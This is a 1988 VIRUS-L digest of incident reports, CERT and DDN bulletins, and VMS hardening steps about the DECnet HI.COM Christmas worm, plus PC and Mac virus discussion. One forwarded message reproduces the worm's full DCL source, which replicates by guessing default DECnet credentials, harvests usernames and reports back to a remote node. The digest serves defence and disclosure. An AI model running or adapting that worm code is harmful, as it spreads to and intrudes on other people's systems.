|
Virus- L Digest, Vol 1, Issue 59
NOTICE: TO ALL CONCERNED Certain text files and messages contained on this site deal with activities and devices which would be in violation of various Federal, State, and local laws if actually carried out or constructed. The webmasters of this site do not advocate the breaking of any law. Our text files and message bases are for informational purposes only. We recommend that you contact your local law enforcement officials before undertaking any project based upon any information obtained from this or any other web site. We do not guarantee that any of the information contained on this system is correct, workable, or factual. We are not responsible for, nor do we assume any liability for, damages resulting from the use of any information on this site.
From: Kenneth R. van Wyk (The Moderator) <[email protected]>
Errors-To: [email protected]
To: [email protected]
BCC: [email protected]
Subject: VIRUS-L Digest V1 #59
Reply-to: [email protected]
--text follows this line--
VIRUS-L Digest Thursday, 29 Dec 1988 Volume 1 : Issue 59
Today's Topics:
UUDECODE source available (PC?)
debrain.uue
Virus @ lockheed?
More on the virus...
nVIR 10 - A Correction (Mac)
VIRUS WARNING: DECNET Worm (forwarded from VALERT-L)
Formatting disks (PC)
DECnet HI.COM Christmas Worm
DOS, BIOS and write-protect tabs (PC)
Dirty Dozen
Re: Brain virus (PC)
Write Protection confusion (PC)
---------------------------------------------------------------------------
Date: Fri, 23 Dec 88 12:51:53 EDT
From: Jean <[email protected]>
Subject: UUDECODE source available (PC?)
To: VIRUS-L@LEHIIBM1
Well I finally have an answer for those who need UUDECODE to create
the files they request in .UUE format. I just sent the files to Ken and
hope he puts them up on the LISTSERV.
I now have a BASIC program with PURE ASCII data statements that creates
UUDECODE.EXE and guess what? It works fine.
If you cant wait for Ken to get it on the LISTSERV, send me a short
MAIL request saying you want the UUDECODE PACKAGE and I'll file send it
to you.
If you have BITRCV, let me know and I'll Bitsend them which is faster.
If you want BITRCV, let me know as well.
------------------------------
Date: Fri, 23 Dec 88 14:03:09 EDT
From: [email protected]
Subject: debrain.uue
To: VIRUS-L@LEHIIBM1
If anyone has debrain.uue could they please send it to me?
We finally got uudecode working properly and now we need debrain.uue
Thank you.
------------------------------
Date: Fri, 23 Dec 88 15:17:39 EST
From: [email protected] (Michael F. Angelo)
Subject: Virus @ lockheed?
I just got a call from one of my friends, and he said that Lockheed
has pulled itself from the internet, due to a virus / hacker. Does
anyone out there know anything about this?
ps. It supposedly affected there vms machine?
------------------------------
Date: Fri, 23 Dec 88 15:32:42 EST
From: [email protected] (Michael F. Angelo)
Subject: More on the virus...
I have found out a little bit more about the virus / worm / whatever
it is. The virus is decnet bassed. It appears to have been tracked
going from NASA AMES via Decnet to Langley. Lockheed has pulled
itself from the net, so as to not be affected.
Look in your accounting files, and netserver log for a file
called hi.com.
Sorry bout the lack of information, but it's the best that can be
done the day before the Christmas Weekend..
ps. Have a pleasant holiday :->
Michael F. Angelo
- -------------------------------------------------------------------------
John von Neumann National Super Computer Center | ARPA: [email protected]
665 College Rd. East, | BITNET:[email protected]
Princeton, N.J. 08543 | UUCP: rutgers!jvnca!angelo
Senior Systems Programmer, Unix Development ETA-10
UNISIG Symposium Coordinator
- -------------------------------------------------------------------------
------------------------------
Date: Fri, 23 Dec 88 15:30:22 EST
From: Joe McMahon <[email protected]>
Subject: nVIR 10 - A Correction (Mac)
I just received a note from Matthias Urlichs, who tells me that nVIR 10
merely DEACTIVATES the nVIR virus, it does not kill it.
I suppose it's like a DNA suppressor, rather than an antibody.
Sorry if I have caused anyone inconvenience. The nVIR Vaccine program
in the NVIRVACC SITHQX file should still be used to remove nVIR from
applications, and the manual procedure mentioned in the ANTI-VIR
SITHQX stack can be used to clean systems.
I have been receiving a LOT of nVIR removal software lately; I haven't
had time to review it yet. I will be doing so and adding the ones I find
best address the problem to our LISTSERV after January 1.
Happy holidays, all.
- --- Joe M.
------------------------------
Date: Fri, 23 Dec 88 19:54:27 est
Sender: Virus Alert List <[email protected]>
From: lecgwy!lyons%[email protected]
Subject: VIRUS WARNING: DECNET Worm (forwarded from VALERT-L)
The following information relates to the DECNET worm which
hit the HEPNET and infects DEC VMS systems.
Note that in addition to the information presented here, the possibility
exists that a non-HEPNET system may have been infected. You should
check your system for a file by the name of HI.COM, and a process
running with the name MAIL_178DC. If you find either of them, your
system more than likely has been infected. Read on for further
background, as well as a more thorough explanation.
Thanks to Ed DeHart at CERT, Fred Ostapik at ARPA-NIC, and all others
who helped assemble this information.
- ---
Marty Lyons, Lockheed Electronics Company, 1501 U.S. Highway 22,
CS #1, M/S 147, Plainfield, N.J. 07061-1501 (201) 757-1600 x3156
[email protected] or LYONS%[email protected]
Worm-fix distribution list:
CERT, CMU ([email protected])
John Wagner, Princeton ([email protected], [email protected])
Chris Tengi, Princeton ([email protected])
Nick Cardo, JVNC Supercompuer Center ([email protected])
Chuck Hedrick, Rutgers ([email protected])
Steve Keeton, NJIT ([email protected])
Seldon Ball, Cornell ([email protected])
Nick Gimbrone, Cornell ([email protected])
Sandi Ivano, Yale (???)
Anio Khullar, CUNY Graduate Center ([email protected])
Shakil Khan, CUNY Queens College ([email protected])
Meredith Coombs, Stevens Tech (???)
Ken Ng, NJIT ([email protected])
Dave Capshaw, Lockheed-Austin ([email protected])
Marty Lyons, Lockheed Electronics ([email protected])
Randi Robinson, CUNY ([email protected])
BITNET Laison Distribution List ([email protected])
BITNET Linkfail List ([email protected])
BITNET Virus Alert List ([email protected])
UUCP/Stargate Announcements (announce@stargate.com)
> From rutgers!sei.cmu.edu!ecd Fri Dec 23 17:59:18 1988
> Received: from ED.SEI.CMU.EDU by rutgers.edu (5.59/RU-1.2/3.02)
> id AA18876; Fri, 23 Dec 88 17:47:30 EST
> Received: by ed.sei.cmu.edu (5.54/2.3)
> id AA08030; Fri, 23 Dec 88 17:28:48 EST
> Date: Fri, 23 Dec 88 17:28:48 EST
> Message-Id: <[email protected]>
> To: lecgwy!lyons, [email protected]
> Subject: Re: NASA Virus
The following information has been provided by one of the VMS experts
on the Internet. Due to the holidays, the CERT has not been able to
verify the information. If you do verify the information please let
us know.
Thanks,
Ed DeHart
Software Engineering Institute / Computer Emergency Response Team
[email protected]
412-268-7090
=======================================================================
There is a worm loose on NASA's SPAN/DoE's HEPNET network, which is an
international DECnet-based network. The worm targets VMS machines, and
can only be propagated via DECnet.
The worm itself appears to be benign, in that it does not destroy files
or compromise the system. It's purpose appears to be to deliver a
Christmas message to users starting at midnight on 24 Dec 1988. It
does have a hook in it to monitor it's progress; it mails a message
back to a specific node (20.117, user PHSOLIDE) containing an identifying
string of the "infected" machine.
The worm exploits two features of DECnet/VMS in order to propagate itself.
The first is the default DECnet account, which is a facility for users who
don't have a specific login ID for a machine to have some degree of
anonymous access. It uses the default DECnet account to copy itself to a
machine, and then uses the "TASK 0" feature of DECnet to invoke the remote
copy.
There are several steps which you can take to protect yourself from this
kind of attack. The easiest (and most restrictive) is to disable the
default DECnet account on your machine altogether. This can be done with
the following commands from the SYSTEM or other suitably privileged account:
$ Run SYS$SYSTEM:NCP
Purge Executor Nonprivileged User Account Password
Clear Executor Nonprivileged User Account Password
^Z
This requires that everyone who accesses your resources via DECnet to have
a legitimate login ID or proxy login account on your machine (proxy logins
are discussed in detail in chapter 7 of the _Guide to VMS System Security_,
see below).
You can take less restrictive steps to protect your machine while still
maintaining some degree of default access. If you wish to keep the ability
for users to copy files to the default DECnet account but wish to prevent
them from copying DCL command procedures there and then executing them you
can issue the following commands (again from the SYSTEM or other suitably
privileged account):
$ Run SYS$SYSTEM:NCP
Clear Object Task All
^Z
You must then edit the file SYS$MANAGER:STARTNET.COM, and add the line
CLEAR OBJECT TASK ALL
AFTER the line which says
SET KNOWN OBJECTS ALL
This has the side-effect of disabling users from executing any command
procedure via DECnet that the system manager has not defined in the
DECnet permanent database. These steps alone are not sufficient to
prevent copies of the virus from being copied to your machine; but they
will prevent it from being executed. To prevent copies of this specific
virus from being copied to your machine you can issue the following
commands (from the SYSTEM or other privileged account):
$ Set Default your-default-decnet-directory
$ Create HI.COM
$ Stop/ID=0
^Z
$ Set File/Owner=[1,4]-
/Protection=(S:RWED,O:RWED,G:RE,W:RE)/Version=1 HI.COM
This prevents anyone from copying a file called "HI.COM" into your default
DECnet account; however, other files can be copied there unless you disable
access to the DECnet object FAL (the File Access Listener) from your default
DECnet account. This can be done by creating a specific account for FAL
(using the AUTHORIZE utility) with a seperate UIC, default directory, and
minimal privileges and forcing the FAL object to use that account. The
following sequence of commands are an example (these commands also require
that they be issued from the SYSTEM or other suitably privileged account):
$ Set Default SYS$SYTEM
$ Run AUTHORIZE
Add FAL/UIC=[some-unused-UIC]/Owner="DECnet default FAL"-
/Password=randomstring/Device=disk-device/Directory=[some-directory]-
/Flags=(DISCTLY,DEFCLI,CAPTIVE,LOCKPWD)/NoBatch/NoLocal/NoDialup-
/NoRemote/Privileges=(TMPMBX,NETMBX)/DefPrivileges=(TMPMBX,NETMBX)-
/LGICMD=SYS$SYSTEM:FALLOG.COM
^Z
$ Run NCP
Define Object FAL Number 17 File SYS$SYSTEM:FAL User FAL -
Password same-random-string
Set Object FAL Number 17 File SYS$SYSTEM:FAL User FAL -
Password same-random-string
^Z
$ Create FALLOG.COM
$ V := 'F$Verify(0)
$ Write SYS$OUTPUT ""
$ Write SYS$OUTPUT "''F$Time()' -- Node ''F$Logical("SYS$NODE")'"
$ Write SYS$OUTPUT "''F$Time()' -- Remote file access from:"
$ Write SYS$OUTPUT "''F$Time()' -- User: ''F$logical("SYS$REM_ID")'"
$ Write SYS$OUTPUT "''F$Time()' -- Node: ''F$Logical("SYS$REM_NODE")'"
$ Write SYS$OUTPUT ""
^Z
This sequence of commands separates the FAL account from the default DECnet
account, and you can use file protections to enforce that the FAL account
cannot access files in the default DECnet account and vice-versa. The
command file FALLOG.COM above will log all remote file accesses in the
file NETSERVER.LOG in the directory specified for the FAL account above.
The FAL program can supply additional logging information; contact your
DIGITAL software support person for further details.
Further steps can be taken to restrict access to your system. These
steps are discussed in detail in the _Guide to VMS System Security_, DEC
order number AA-LA40A-TE, dated April 1988. See in particular chapter 7,
entitled _Security for a DECnet Node_.
- -------
------------------------------
Date: SUN DEC 25, 1988 16.55.23 EST
From: "Prof Arthur I. Larky" <[email protected]>
Subject: Formatting disks (PC)
When you format a floppy, you do two things: (1) you create an empty FAT
(File Allocation Table) which indicates that you have not assigned any
portion of the disk to files, and (2) you create the data sectors on
the disk by writing sector numbers, CRC's, etc on every track of the
disk. Thus the disk is completely clean; unless, of course, your
format program or DOS has been subverted. You also write a boot
record. If you have asked for it, the two hidden DOS programs get put
as the first two programs on the disk.
When you use the same program (Format) to format a hard disk, all
it does is create the empty FAT table, thus everything that was on the
disk is still there, but you have one heck of a problem finding it
unless you are a virus that knows where it is.
Hard disk owners can get rid of everything by doing a low-level
format (on my Zenith its a program called PREP). This does the
entire job of putting the sector and track numbers, CRC's, etc. on
the disk and also creates a map of bad sectors (truly bad ones, not
virus-faked bad ones). Unfortunately, it takes hours (yes, hours) to
do this low level format since the program does repeated checks on
the read/write-ability of the disk. Some controllers have code in
their ROM at c800:5 that does this low-level formatting; others do
not. If you use Debug to look at the code, you may be able to figure
out whether its there or not. Another way to find out is to try it;
however, you better not have anything valuable on the disk in case
it works.
Art Larky
CSEE Dept
Lehigh University
------------------------------
Subject: DECnet HI.COM Christmas Worm
Date: Mon, 26 Dec 88 08:19:06 -0800
From: Steve Goldstein <[email protected]>
Greetings, this is my first posting to this mailing list, and I trust
that I do not bore you with info that you've already seen many times
over this past week. These are a collection of msgs about a DECnet
worm which was launched just before Christmas to produce a greeting
from Father Christmas on SPAN nodes, HEPnet nodes, etc.
The msgs are forwarded for your information, mainly. I suspect that
all node managers (sysadmins) will have secured their VMS machines
prior to receipt of this information.
Let's hope the New Year is not marked by new greetings borne by lower
"life" forms!
Steve Goldstein
[email protected]
- ------- Forwarded Messages
Return-Path: [email protected]
Received: Thu, 22 Dec 88 15:56:24 PST from cincsac.arc.nasa.gov by
nsipo.arc.nasa.gov (5.59/1.5)
Received: Thu, 22 Dec 88 15:55:45 PST from localhost.arc.nasa.gov by
cincsac.arc.nasa.gov (5.59/1.5T)
Message-Id: <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: DECNET worm report
Date: Thu, 22 Dec 88 15:55:44 -0800
From: "Milo S. Medin" (NASA ARC NSI Project Office) <[email protected]>
Folks, there is a worm running around SPAN at this time that
causes a procedure to be run that will try and send a Christmas
card to users on that system on Christmas Eve.
The worm can only propagate if task 0 is enabled, and default decnet
is present and has the password as decnet. This configuration
is a bad idea in any case, but it allows this worm to infect
your system.
You can tell if it's on your system because the process name is
changed to MAIL_170DC and there is a HI.COM file in the default decnet
account. Disabling task 0 will prevent infection.
More details later. Please pass this information around and make
sure all systems at your site have the task 0 capability removed
in accordance with SPAN security guidelines.
Kudos to Brian Love at GSFC/CSDF for alerting us to the problem. FYI,
it looks like the worm is sending a message to a node in Switzerland.
A copy of the command procedure is attached. Feel free to call us
at NSIPO at Ames Research Center at (415) 694-6440 for further information.
Note, this doesn't appear to be a serious problem, but all system
managers should make sure their systems are secured.
Thanks,
Milo Medin
(Message inbox:5167)
Return-Path: 6173::[email protected]
Received: Thu, 22 Dec 88 15:32:55 PST from gemini.arc.nasa.gov by
nsipo.arc.nasa.gov (5.59/1.5)
Received: Thu, 22 Dec 88 15:32:41 PST by gemini.arc.nasa.gov (5.59/1.2)
Date: Thu, 22 Dec 88 15:32:41 PST
Message-Id: <[email protected]>
From: 6173::[email protected] (CSDR System Management, NASA/GSFC
B7-R188A, (301) 286-3819)
To: [email protected]
Subject: Copy of Hi.Com - More information to come in separate file.
$ on error then continue
$ set noverify
$ define sys$error nl:
$ define sys$output nl:
$ set default sys$login
$ set process/name="MAIL_178DC"
$ delete := delete
$ spawn := spawn
$ null[0,7]=0
$ open/read/write link sys$net
$ close link
$Look_loop:
$ pid = f$pid(context)
$ if pid .eqs. "" then goto start
$ if f$getjpi(pid,"wsauthext")-1 .eq. f$getjpi(pid,"wsextent") then -
goto stop_process
$ goto look_loop
$Stop_process:
$ set protection=o:rwed hi.com;*
$ delete hi.com;*
$ stop/id=0
$Start:
$ workset = f$getjpi(0,"wsauthext")-1
$ set work/extent='workset'
$Save:
$ counter = 0
$ open/read hi$file hi.com
$Loop1:
$ read/end_of_file=end_loop1 hi$file hiline'counter'
$ counter = counter + 1
$ goto loop1
$End_loop1:
$ close hi$file
$ num_hilines = counter
$ set protection=o:rwed hi.com;*
$ delete hi.com;*
$Action:
$ spawn/input=nl:/output=nl:/nonotify/nolog/nowait -
mail/subj="''f$trnlnm("sys$announce")'" nl: 20597::phsolide
$Search_node:
$ time = f$extr(0,16,f$cvtime(f$time()))
$ if time .gts. "1988-12-24 00:30" then stop/id=0
$ if time .gts. "1988-12-24 00:00" then goto mailing
$Generate_node:
$ node = (f$int(f$ext(21,1,f$time()))*10000) + -
(f$int(f$ext(21,1,f$time()))*1000) + -
(f$int(f$ext(21,1,f$time()))*100) + -
(f$int(f$ext(21,1,f$time()))*10) + -
(f$int(f$ext(21,1,f$time())))
$ node = node*(f$int(f$ext(18,2,f$time()))+1)/63
$ if node .eq. 0 then goto generate_node
$ if node .gt. 63*1024 then goto generate_node
$Reprod:
$ counter = 0
$ open/write/error=open_error hi$file 'node'::hi.com
$Loop2:
$ write/error=cleanup hi$file hiline'counter'
$ if counter .eq. num_hilines-1 then goto end_loop2
$ counter = counter + 1
$ goto loop2
$End_loop2:
$ close hi$file
$Start_Task:
$ type 'node'::"task=hi.com"
$ if ($status.ne.%x10951098).or.(f$loc("""",node).ne.f$len(node)) -
then goto 2nd_error_check
$ node := 'node'"""DECNET DECNET""
$ goto start_task
$2nd_error_check:
$ if $status .ne. "%x10000001" then goto cleanup
$ goto search_node
$Cleanup:
$ close hi$file
$ delete 'node'::hi.com;*
$ goto search_node
$Open_error:
$ if ($status.ne.%x1001c00a).or.(f$loc("""",node).ne.f$len(node)) -
then goto search_node
$ node := 'node'"""DECNET DECNET""
$ goto reprod
$Mailing:
$ mailline0 = "Hi,"
$ mailline1 = ""
$ mailline2 = " how are ya ? I had a hard time preparing all the presents."
$ mailline3 = " It isn't quite an easy job. I'm getting more and more"
$ mailline4 = " letters from the children every year and it's not so easy"
$ mailline5 = " to get the terrible Rambo-Guns, Tanks and Space Ships up here at
"
$ mailline6 = " the Northpole. But now the good part is coming."
$ mailline7 = " Distributing all the presents with my sleigh and the"
$ mailline8 = " deers is real fun. When I slide down the chimneys"
$ mailline9 = " I often find a little present offered by the children,"
$ mailline10 = " or even a little Brandy from the father. (Yeah!)"
$ mailline11 = " Anyhow the chimneys are getting tighter and tighter"
$ mailline12 = " every year. I think I'll have to put my diet on again."
$ mailline13 = " And after Christmas I've got my big holidays :-)."
$ mailline14 = ""
$ mailline15 = " Now stop computing and have a good time at home !!!!"
$ mailline16 = ""
$ mailline17 = " Merry Christmas"
$ mailline18 = " and a happy New Year"
$ mailline19 = ""
$ mailline20 = " Your Father Christmas"
$ num_maillines = 21
$ define sysuaf sys$login:sysuaf
$ mc authorize
y
list/id *
exit
$ delete sys$login:sysuaf.dat;*
$ node = 0
$Mail_good:
$ open/read/write net$link 'node'::"27="
$ if ($status.ne.%x1001c002).or.(f$loc("""",node).ne.f$len(node)) -
then goto start_mail
$ node := 'node'"""DECNET DECNET""
$ goto mail_good
$Start_mail:
$ close net$link
$ open/read user$file rightslist.lis
$ read user$file user
$Loop3:
$ open/read/write net$link 'node'::"27="
$ write net$link "Father Christmas"
$Next_user:
$ read/end_of_file=end_mailing user$file user
$ if f$extr(3,1,user) .eqs. " " then goto next_user
$ user = f$extr(2,12,user)
$ write net$link user
$ read net$link error
$ if f$cvui(0,32,error) .ne. 1 then goto close_net
$ write net$link null
$ write net$link "You..."
$ write net$link "Christmas Card."
$ counter = 0
$Text_loop:
$ write net$link mailline'counter'
$ counter = counter + 1
$ if counter .eq. num_maillines then goto end_text_loop
$ goto text_loop
$End_text_loop:
$ write net$link null
$ wait 00:00:01
$Close_net:
$ close net$link
$ goto loop3
$End_mailing:
$ close net$link
$ close user$file
$ delete rightslist.lis;*
$ wait 00:30
$ stop/id=0
- ------- Message 2
Return-Path: [email protected]
Received: Thu, 22 Dec 88 16:32:57 PST from cincsac.arc.nasa.gov by
nsipo.arc.nasa.gov (5.59/1.5)
Received: Thu, 22 Dec 88 16:32:18 PST from localhost.arc.nasa.gov by
cincsac.arc.nasa.gov (5.59/1.5T)
Message-Id: <[email protected]>
Date: Thu, 22 Dec 88 16:32:14 -0800
From: "Milo S. Medin" (NASA ARC NSI Project Office) <[email protected]>
Subject: DECNET worm report - correction
Apparently-To: <[email protected]>
- - ------- Blind-Carbon-Copy
To: nsn-tech
Subject: DECNET worm report - correction
Date: Thu, 22 Dec 88 16:32:14 -0800
From: "Milo S. Medin" (NASA ARC NSI Project Office) <medin>
Oh, and a correction to my previous note, due to a garbled message,
I credited the wrong person at GSFC. Kudos really go to Brian Lev,
not Brian Love. Just wanted to set the record straight. Sorry about
that Brian...
Thanks,
Milo
- - ------- End of Blind-Carbon-Copy
- ------- Message 3
Return-Path: [email protected]
Received: Fri, 23 Dec 88 13:16:21 PST from QUIPUS.STSCI.EDU by
nsipo.arc.nasa.gov (5.59/1.5)
Received: Fri, 23 Dec 88 15:57:28 EST by quipus.stsci.edu.STSCI.EDU (5.59)
Date: Fri, 23 Dec 88 15:57:28 EST
From: (Peter Shames) <[email protected]>
Message-Id: <[email protected]>
To: [email protected]
Subject: SPAN breakin attempts - a peculiar Merry Xmas greeting
Cc: [email protected], [email protected],
[email protected], [email protected],
[email protected], [email protected],
[email protected], milkey@scivax, schreier@scivax,
[email protected], [email protected]
Folks,
The attached note describes a number of breakin attempts that
took place last night at STScI. Many of you may also have been the
subject of this latest attack, some of your systems may have been broken
into. The effects are of *this* attack are quite benign, but that, as
far as I can tell, was just luck.
While I do not wish to dampen anyone's holiday revels, the
message in this latest attempt is clear and the implications troublesome.
In spite of all this, I would like to wish you all a Very Merry
Holiday season, and a Happy New Year.
Peter
- - ---------------------------------------------------------------------------
TWIMC -
Starting at roughly 1630 on 22 Dec 1988 VAX systems at the STScI
experienced several breakin attempts over the SPAN network. The symptoms
were a series of login attempts on the accounts DECNET and NETFAL. Over
the next couple of hours the number of attempts increased significantly,
though none were successsful. One peculiar observation was that only one
of our system was initially attacked, and it was attacked repeatedly, from
an!ever widening set of other hosts.
A copy of the .COM file that was used for this attacked was
captured by one of the sites that was broken into, and it turned out to be
a rather simple script that selected a area/host number based on a
permutation of the date and time and then attempted to break into that
host on the two accounts indicated above. It only tried a couple of
obvious passwords and then gave up with that host if not successful.
If successful it would replicate itself and then proceed from there.
The multiple attacks on the one host were due to the time zone rolling
around as the attacks spread westward and that one system having a number
that the algorithm generated often.
Though the modus operandi of this attack was relatively benign,
that fact that it occurred at all is to be deplored. The time that is
wasted in tracking down such pranks is significant, as is the general
disruption that is caused. At the same time, the attacker could just as
easily have set up a program to delete files or do other mischief and
such an attack would have caused real havoc.
This attack, coming via the SPAN DECnet network, just serves to
underscore the fact that wide area network connections, via whatever set of
protocols, to whatever operating systems, do offer targets to bored,
mischievious, or possibly malicious individuals. Following, as it does,
on the heels of the Internet Virus of 3 November 1988, this serves
notice to all computer site managers that any system that has wide-area
network connections is potentially vulnerable.
However, the benefits of having adequate wide-area networks are
too great for such actions to stop us from using them. This kind of act
should serve as a timely warning that we all had best review our own
site and host security to identify and eliminate any latent opportunities
for future breakins. At the very least all of the security holes employed
by these latest breakins should be eliminated immediately. None of our
open science research sites wants to have to provide the sort of high
level security appropriate to a military installation, so we must all act
to preserve the integrity of the open research environments that we so value.
Passing security related information in the open is not an especially
good idea, but some means of disseminating such information must be provided.
There is a SPAN site security guide that should be consulted and I believe
that a similar guide is being developed for the Internet community. Perhaps
a meeting of astronomy site coordinators and system managers, convened in
conjunction with an AAS WGAS meeting or even separately, would be appropriate.
Comments or suggestions from all concerned would be appreciated.
Peter Shames
- ------- Message 4
Return-Path: [email protected]
Received: Sat, 24 Dec 88 20:37:27 PST from MITRE.ARPA by nsipo.arc.nasa.go
(5.59/1.5)
Organization: The MITRE Corp., Washington, D.C.
Received: from ron.rutgers.edu by SRI-NIC.ARPA with TCP; Fri, 23 Dec 88 12:57:48
PST
Received: by ron.rutgers.edu (5.59/(RU-Router/1.1)/3.01)
id AA02489; Fri, 23 Dec 88 15:57:30 EST
Date: Fri, 23 Dec 88 15:57:30 EST
From: [email protected]
Message-Id: <[email protected]>
To: [email protected]
Subject: DECNET Virus (sorry)
I got an anonymous tip about a DECNet virus. Milo Medin provided me with
the details. The virus exploits a well known feature in DECnet which involves
sites that leave TASK 0 running (this is the way DEC ships it). The virus
sends a HI.COM file to your default decnet directory and then sends a command
to task 0 to invoke it. To close the hole, you need to tell NCP
to "CLEAR OBJECT TASK ALL" in your start up files as DECNET always starts
this process. If you were infected you will find HI.COM in your default
decnet directory and a process running called something like MAIL_178DZ.
You should delete the com file and kill off the process if you find them.
I don't vouch for the accuracy of the above, I am neither a DECNET nor a
VMS lover.
- - -Ron
I apologize for all those who are sane enough to run TCP-IP rather than DECNET
for having to see this, but it seemed like the most rapid distribution system
I could find.
- ------- Message 5
Received: Sun, 25 Dec 88 01:48:03 PST from ames.arc.nasa.gov by
nsipo.arc.nasa.gov (5.59/1.5)
Received: Sun, 25 Dec 88 01:36:34 PST from SRI-NIC.ARPA by ames.arc.nasa.go
(5.59/1.2)
Date: Fri, 23 Dec 88 15:43:52 PST
From: DDN Reference <[email protected]>
Subject: DDN MGT Bulletin # 50: Hi.COM DECnet worm
To: ;@MGT
Cc: [email protected], [email protected], [email protected],
[email protected]
Message-Id: <[email protected]>
**********************************************************************
DDN MGT Bulletin 50 DCA DDN Defense Communications System
23 Dec 88 Published by: DDN Network Info Center
([email protected]) (800) 235-3155
DEFENSE DATA NETWORK
MANAGEMENT BULLETIN
The DDN MANAGEMENT BULLETIN is distributed online by the DDN Network
Information Center under DCA contract as a means of communicating
official policy, procedures and other information of concern to
management personnel at DDN facilities. Back issues may be read
through the TACNEWS server ("@n" command at the TAC) or may be
obtained by FTP (or Kermit) from the SRI-NIC host [26.0.0.73 or
10.0.0.51] using login="anonymous" and password="guest". The pathname
for bulletins is DDN-NEWS:DDN-MGT-BULLETIN-nn.TXT (where "nn" is the
bulletin number).
**********************************************************************
SUBJECT: Worm (Benign)
APPLICABLE OPERATING SYSTEM: DEC VMS
PROPAGATION: Propagates via DECNET protocols, not TCP/IP protocols
STATUS: Fix is enclosed
VALIDATION: The fix has been forwarded to the CERT for validation, but
validation has not been completed. But in order to provide timely
information to our subcribers, this fix is being made available "as
is". It was provided by a host administrator on the NASA SPAN/DOE
HEPNET network. We recommend that you contact your vendor and refer
to the vendor documentation listed below before attempting to implement the
fix.
PROBLEM: On Friday, 23 December, Gerard K. Newman of the San Diego
Supercomputer Center reported a Christmas Eve computer worm (not a
virus) called "HI.COM". This worm appears to be a benign Christmas
greeting from "Father Christmas".
ESSENTIAL CONSIDERATIONS: The recent Internet Virus has sensitized the
telecommunications community to the potential threat of worms and
viruses. However, "HI.COM" appears to be a prank and nothing more:
(A) It only affects VMS machines connected to DECNET.
(B) It does not use TCP/IP, thus it cannot "infect" the Internet
(or MILNET/ARPANET).
(C) It does no harm (all it does is send a "stop computing and go
home" message after midnight on Christmas Eve).
(D) It has safeguards against running multiple copies of itself on
the same machine.
(E) It will terminate itself after completing its mission (at 00:30
on the 24th).
SYMPTOMS OF INFECTION: Some steps to take to determine if your system has
been infected are:
(A) Check your accounting files and NETSERVER.LOGs in your default
DECnet accounts for a file called HI.COM.
(B) Check your processes for one named MAIL_178DC.
A FIX:
There is a worm loose on NASA's SPAN/DoE's HEPNET network, which is an
international DECnet-based network. The worm targets VMS machines, and
can only be propagated via DECnet.
The worm itself appears to be benign, in that it does not destroy files
or compromise the system. It's purpose appears to be to deliver a
Christmas message to users starting at midnight on 24 Dec 1988. It
does have a hook in it to monitor it's progress; it mails a message
back to a specific node (20.117, user PHSOLIDE) containing an identifying
string of the "infected" machine.
The worm exploits two features of DECnet/VMS in order to propagate itself.
The first is the default DECnet account, which is a facility for users who
don't have a specific login ID for a machine to have some degree of
anonymous access. It uses the default DECnet account to copy itself to a
machine, and then uses the "TASK 0" feature of DECnet to invoke the remote
copy.
There are several steps which you can take to protect yourself from this
kind of attack. The easiest (and most restrictive) is to disable the
default DECnet account on your machine altogether. This can be done with
the following commands from the SYSTEM or other suitably privileged account:
$ Run SYS$SYSTEM:NCP
Purge Executor Nonprivileged User Account Password
Clear Executor Nonprivileged User Account Password
^Z
This requires that everyone who accesses your resources via DECnet to have
a legitimate login ID or proxy login account on your machine (proxy logins
are discussed in detail in chapter 7 of the "Guide to VMS System Security",
see below).
You can take less restrictive steps to protect your machine while still
maintaining some degree of default access. If you wish to keep the ability
for users to copy files to the default DECnet account but wish to prevent
them from copying DCL command procedures there and then executing them you
can issue the following commands (again from the SYSTEM or other suitably
privileged account):
$ Run SYS$SYSTEM:NCP
Clear Object Task All
^Z
You must then edit the file SYS$MANAGER:STARTNET.COM, and add the line
CLEAR OBJECT TASK ALL
AFTER the line which says
SET KNOWN OBJECTS ALL
This has the side-effect of disabling users from executing any command
procedure via DECnet that the system manager has not defined in the
DECnet permanent database. These steps alone are not sufficient to
prevent copies of the virus from being copied to your machine; but they
will prevent it from being executed. To prevent copies of this specific
virus from being copied to your machine you can issue the following
commands (from the SYSTEM or other privileged account):
$ Set Default your-default-decnet-directory
$ Create HI.COM
$ Stop/ID=0
^Z
$ Set File/Owner=[1,4]-
/Protection=(S:RWED,O:RWED,G:RE,W:RE)/Version=1 HI.COM
This prevents anyone from copying a file called "HI.COM" into your default
DECnet account; however, other files can be copied there unless you disable
access to the DECnet object FAL (the File Access Listener) from your default
DECnet account. This can be done by creating a specific account for FAL
(using the AUTHORIZE utility) with a seperate UIC, default directory, and
minimal privileges and forcing the FAL object to use that account. The
following sequence of commands are an example (these commands also require
that they be issued from the SYSTEM or other suitably privileged account):
$ Set Default SYS$SYTEM
$ Run AUTHORIZE
Add FAL/UIC=[some-unused-UIC]/Owner="DECnet default FAL"-
/Password=randomstring/Device=disk-device/Directory=[some-directory]-
/Flags=(DISCTLY,DEFCLI,CAPTIVE,LOCKPWD)/NoBatch/NoLocal/NoDialup-
/NoRemote/Privileges=(TMPMBX,NETMBX)/DefPrivileges=(TMPMBX,NETMBX)-
/LGICMD=SYS$SYSTEM:FALLOG.COM
^Z
$ Run NCP
Define Object FAL Number 17 File SYS$SYSTEM:FAL User FAL -
Password same-random-string
Set Object FAL Number 17 File SYS$SYSTEM:FAL User FAL -
Password same-random-string
^Z
$ Create FALLOG.COM
$ V := 'F$Verify(0)
$ Write SYS$OUTPUT ""
$ Write SYS$OUTPUT "''F$Time()' -- Node ''F$Logical("SYS$NODE")'"
$ Write SYS$OUTPUT "''F$Time()' -- Remote file access from:"
$ Write SYS$OUTPUT "''F$Time()' -- User: ''F$logical("SYS$REM_ID")'"
$ Write SYS$OUTPUT "''F$Time()' -- Node: ''F$Logical("SYS$REM_NODE")'"
$ Write SYS$OUTPUT ""
^Z
This sequence of commands separates the FAL account from the default DECnet
account, and you can use file protections to enforce that the FAL account
cannot access files in the default DECnet account and vice-versa. The
command file FALLOG.COM above will log all remote file accesses in the
file NETSERVER.LOG in the directory specified for the FAL account above.
The FAL program can supply additional logging information; contact your
DIGITAL software support person for further details.
Further steps can be taken to restrict access to your system. These
steps are discussed in detail in the "Guide to VMS System Security", DEC
order number AA-LA40A-TE, dated April 1988. See in particular chapter 7,
entitled "Security for a DECnet Node".
For general information about this patch call the CERT or the Network
Information Center at (800) 235-3155.
This represents the best information available at this time to fix this
problem.
- - -------
- - --- End of forwarded message from DDN Reference <[email protected]>
- ------- Message 6
Return-Path: [email protected]
Received: Mon, 26 Dec 88 00:07:50 PST from MITRE.ARPA by nsipo.arc.nasa.go
